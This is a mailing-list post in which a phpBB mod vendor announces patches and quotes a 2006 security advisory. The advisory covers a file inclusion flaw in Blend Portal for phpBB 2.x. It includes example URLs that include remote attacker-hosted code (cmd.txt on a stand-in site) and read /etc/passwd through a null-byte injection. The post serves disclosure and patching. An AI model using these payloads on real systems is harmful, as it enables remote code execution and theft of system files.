[Full-disclosure] RE: Advisory: Blend Portal <= 1.2.0 for phpBB 2.x(blend_data/blend_common.php) File Inclusion Vulnerability

I have addressed this issue & the one reported about the Activity Mod Plus. 
Below is a link to patches for both. Thanks.

http://phpbb-tweaks.com/topics.html-p-17623#17623



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aUsTiN & Staff

For an interactinve phpBB Support board
http://phpbb-tweaks.com/

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http://phpbb-portal.com/

For a phpBB based gaming system & support
http://phpbb-amod.com/

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> From: Mustafa Can Bjorn IPEKCI <nukedx@nukedx.com>
> To: submit@milw0rm.com, 
> full-disclosure@lists.grok.org.uk,bugtraq@securityfocus.com, 
> austin_inc@hotmail.com
> Subject: Advisory: Blend Portal <= 1.2.0 for phpBB 
> 2.x(blend_data/blend_common.php) File Inclusion Vulnerability
> Date: Sun, 28 May 2006 20:46:39 +0300
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> X-OriginalArrivalTime: 28 May 2006 17:54:44.0992 (UTC) 
> FILETIME=[CDAF6800:01C6827F]
>
> --Security Report--
> Advisory: Blend Portal <= 1.2.0 for phpBB 2.x  
> (blend_data/blend_common.php) File Inclusion Vulnerability.
> ---
> Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
> ---
> Date: 28/05/06 07:52 PM
> ---
> Contacts:{
> ICQ: 10072
> MSN/Email: nukedx@nukedx.com
> Web: http://www.nukedx.com
> }
> ---
> Vendor: phpbb-portal (http://www.phpbb-portal.com/)
> Version: 1.2.0 and prior versions must be affected.
> About: Via this methods remote attacker can include arbitrary  
> internal/external files to phpBB. phpbb_root_path
> variable in /blend_data/blend_common.php did not sanitized properly  before 
> using it.You can find vulnerable code in
> blend_common.php at lines 74-77
> -Source in blend_common.php-
> 74: else
> 75: {
> 76: include_once($phpbb_root_path . BLEND_DATA_PATH . BLEND_CACHE_PATH  
> .'config.'. $phpEx);
> 77: }
> -End of source-
> Level: Highly Critical
> ---
> How&Example:
> Succesful exploitation needs register_globals on & allow url_fopen on
> GET ->  
> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=[FILE]
> EXAMPLE ->  
> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=http://yoursite.com/cmd.txt?
> EXAMPLE ->  
> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=/etc/passwd%00
> ---
> Timeline:
> * 28/05/2006: Vulnerability found.
> * 28/05/2006: Contacted with vendor and waiting reply.
> ---
> Exploit: http://www.nukedx.com/?getxpl=41
> ---
> Original advisory can be found at: http://www.nukedx.com/?viewdoc=41

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